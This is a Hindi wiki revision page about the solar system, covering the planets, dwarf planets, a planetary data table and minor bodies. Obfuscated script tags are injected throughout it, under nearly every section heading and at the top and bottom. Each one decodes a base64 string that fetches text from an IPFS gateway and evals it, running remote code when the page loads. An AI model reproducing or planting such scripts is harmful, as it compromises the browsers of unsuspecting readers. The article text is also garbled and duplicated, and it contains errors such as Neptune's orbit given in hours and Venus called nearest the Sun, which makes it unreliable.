Difference between revisions of "सौरमण्डल"

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[[चित्र:solar.jpg|thumb|300px|right|सौरमण्डल<br />Solar System]]
 
ब्रह्माण्ड में वैसे तो कई सौरमण्डल है, लेकिन हमारा सौरमण्डल ( Solar System ) सभी से अलग है, जिसका आकार एक तस्तरी जैसा है। हमारे सौरमण्डल के सनदी क्षेत्रों मे सूर्य और वे सभी खगोलीय पिंड जो सूर्य के चारों ओर चक्कर लगाते हैं, सम्मलित हैं, जो एक दूसरे से गुरुत्वाकर्षण बल द्वारा बंधे हैं। सौरमण्डल में सूर्य का आकार सब से बड़ा जिसका प्रभुत्व है, क्योंकि सौरमण्डल निकाय के द्रव्य का लगभग 99.999 द्रव्य सूर्य में निहित है। सौरमण्डल के समस्त [[ऊर्जा]] का स्रोत भी सूर्य ही है। सौरमण्डल के केन्द्र मे सूर्य है तथा सबसे बाहरी सीमा पर नेप्च्युन ग्रह है। नेपच्युन के परे प्लुटो जैसे बौने ग्रहो के अलावा धूमकेतु भी आते है।   
 
ब्रह्माण्ड में वैसे तो कई सौरमण्डल है, लेकिन हमारा सौरमण्डल ( Solar System ) सभी से अलग है, जिसका आकार एक तस्तरी जैसा है। हमारे सौरमण्डल के सनदी क्षेत्रों मे सूर्य और वे सभी खगोलीय पिंड जो सूर्य के चारों ओर चक्कर लगाते हैं, सम्मलित हैं, जो एक दूसरे से गुरुत्वाकर्षण बल द्वारा बंधे हैं। सौरमण्डल में सूर्य का आकार सब से बड़ा जिसका प्रभुत्व है, क्योंकि सौरमण्डल निकाय के द्रव्य का लगभग 99.999 द्रव्य सूर्य में निहित है। सौरमण्डल के समस्त [[ऊर्जा]] का स्रोत भी सूर्य ही है। सौरमण्डल के केन्द्र मे सूर्य है तथा सबसे बाहरी सीमा पर नेप्च्युन ग्रह है। नेपच्युन के परे प्लुटो जैसे बौने ग्रहो के अलावा धूमकेतु भी आते है।   
 
{| class="bharattable" border="1"
 
{| class="bharattable" border="1"

Revision as of 17:25, 7 January 2011

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|300px|right|sauramandal
Solar System brahmand mean vaise to kee sauramandal hai, lekin hamara sauramandal ( Solar System ) sabhi se alag hai, jisaka akar ek tastari jaisa hai. hamare sauramandal ke sanadi kshetroan me soory aur ve sabhi khagoliy piand jo soory ke charoan or chakkar lagate haian, sammalit haian, jo ek doosare se gurutvakarshan bal dvara bandhe haian. sauramandal mean soory ka akar sab se b da jisaka prabhutv hai, kyoanki sauramandal nikay ke dravy ka lagabhag 99.999 dravy soory mean nihit hai. sauramandal ke samast oorja ka srot bhi soory hi hai. sauramandal ke kendr me soory hai tatha sabase bahari sima par nepchyun grah hai. nepachyun ke pare pluto jaise baune graho ke alava dhoomaketu bhi ate hai.

sauraparivar ki sarani
grahoan ke nam vyas (kimi0) paribhraman samay apane aksh par parikraman samay soory ke charoan or upagrahoan ki sankhya
budh 4,878 58.6 din 88 din 0
shukr 12,102 243 din 224.7 din 0
prithvi 12,756-12,714 23.9 ghante 365.26 din 1
mangal 6,787 24.6 ghante 687 din 2
brihaspati 1,42,800 9.9 ghante 11.9 varsh 28
shani 1,20,500 10.3 ghante 29.5 varsh 30
yoorenas (varun) 51,400 16.2 ghante 84.0 varsh 21
nepchyoon (arun) 48,600 18.5 ghante 164.8 ghante 8

soory (Sun)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

soory sauramandal ka pradhan hai. soory ka vyas 13 lakh 92 hazar kimi. hai, jo prithvi ke vyas ka lagabhag 110 guna hai. soory prithvi se 13 lakh guna b da hai, aur prithvi ko sooryatap ka 2 arab vaan bhag milata hai.

sauramandal ke pind

  • aantarrashtriy khagolashastriy sangh ( International Astronomical Union — IAU ) ki prag sammelan — 24 agast 2006 ke anusar sauramandal mean mauzood pindoan ko tin shreniyoan mean baanta gaya hai —
  1. pradhan ( paramparagat ) grah ( Major Planets ) — grah - soory se unaki doori ke badhate kram mean haian - budh, shukr, prithvi, mangal, brihaspati, shani, arun ( yoorenas ) evan varun ( nepchyoon ) . ( ath grah haian - char parthiv / sthaliy aantarik grah aur char vishal gais se bane bahari grah ) shukr soory se sab se karib hai aur nepachyoon us se sab se door haian.
  2. baune grah ( Dwarf Planet ) — yam ( plooto / Pluto ), eriz (Eris), siriz (Ceres), h aaumiya (Haumea), makimaki (Makemake) ( plooto ko pahale khagoliy vaijnanik navean grah ke roop mean manate the lekin ab nahi manate hai ) siriz (Ceres) kshudragrah patti mean hai aur varun se pare char baune grah yam ( plooto ), h aaumiya (Haumea), makimaki (Makemake), aur eriz (Eris).
  3. laghu sauramandaliy pind — 166 jnat upagrah evan any chhote khagoliy pind jisame - kshudragrah patti, dhoomaketu ( puchchhal tare ), ulkayean, barphili kvipar patti ke piand aur grahoan ke bich ki dhool shamil haian.
  • chhah graho aur tin baune grahoan ki parikrama prakritik upagrah karate haian, jinhean am taur par prithvi ke chandrama ke nam ke adhar par "chandrama" hi pukara jata hai. pratyek bahari grah ko dhool aur any kanoan se nirmit chhalloan dvara parivrit kiya jata hai.

grah

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

grah ve khagoliy pind haian, jo ki nimn shartoan ko poora karate haian— jo soory ke charoan or parikrama karata ho, usamean paryapt gurutvakarshan bal ho, jisase vah gol svaroop grahan kar sake, usake asapas ka kshetr saf ho yani usake asapas any khagolie pindoan ki bhi d–bha d n ho.

budh (Mercury)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah soory ka sabase nazadiki grah hai.

shukr (Venus)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah prithvi ka nikatatam grah hai.

brihaspati (Jupiter)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah sauramandal ka sabase b da grah hai.

mangal (Mars)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ise lal grah (Red Planet) kaha jata hai.

shani (Saturn)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah akar mean doosara sabase b da grah hai.

arun (Uranus)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah akar mean tisara sabase b da grah hai.

varun (Neptune)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nee khagoliy vyavastha mean yah soory se sabase door sthit grah hai.

prithvi (Earth)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah akar mean paanchavaan sabase b da grah hai.

chandrama (Moon)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chandrama ko jivashm grah bhi kaha jata hai.

baune grah

yam (Pluto)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isaki khoj 1930 mean klad tamavoan ne ki thi.

seras (Ceres)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isaki khoz itali ke khagolashastri piyaji ne kiya tha.

laghu sauramandaliy pind

kshudr grah (Asteroids)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mangal evan brihaspati grah ki kakshaoan ke bich kuchh chhote–chhote akashiy pind haian, jo soory ki parikrama kar rahe haian, use kshudr grah kahate haian.

dhoomaketu (Comet)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sauramandal ke chhor par bahut hi chhote–chhote araboan pind vidyaman haian, jo dhoomaketu ya puchchhal tara kahalate haian.

ulka (Meteros)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ulkaean prakash ki chamakili dhari ke roop mean dikhati haian.

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

sanbandhit lekh

dekhean • varta • badalean
sauramandal

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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